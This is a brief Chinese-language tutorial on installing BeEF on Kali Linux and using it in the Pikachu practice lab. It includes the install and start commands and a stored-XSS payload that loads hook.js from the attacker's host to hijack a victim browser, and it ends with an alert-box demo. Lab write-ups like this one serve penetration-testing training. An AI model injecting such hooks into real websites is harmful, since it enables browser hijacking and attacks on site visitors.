kali,beef-xss安装及使用

1.Beef工具
1.1 Beef工具介绍
  Beef是日前最强大的浏览器开源渗透测试框架,通过X55漏洞配合JS脚本和 Metasploit进行渗透; Beef是基于Ruby语言编写的,并且支持图形化界面,操作简单。
  新版的kail已经不自带beef工具了，需要自己下载。并且目前只支持macos和Linux系统。

1.2 Beef工具安装
  在安装beef工具之前建议更新一下源
  apt-get update
  apt-get install beef-xss
时间比较久，可以去放松一会

 

2.3 Beef工具启动

  启动：beef-xss
  关闭：beef-xss-stop

前面会让你输入密码

账号是beef

密码是你自己输入的密码

网址：http://127.0.0.1:3000/ui/panel

2.4 Beef案例测试

2.4.1 插入构造代码

  将<script src="http://192.168.1.128:3000/hook.js"></script>代码插入pikache靶场的存储型xss中。（这个网址填kali的ip地址）

2.4.2 靶机上线

我们可以在这里看见靶机的详细信息

2.4.2 弹窗测试

  在"Brower"下面的"Hooked Domain"的create Alert Dialog（弹窗 ），在alert txt中输入你想要弹出来的内容，然后进行执行。

2.4.3 实验结果

端午节快乐^(*￣(oo)￣)^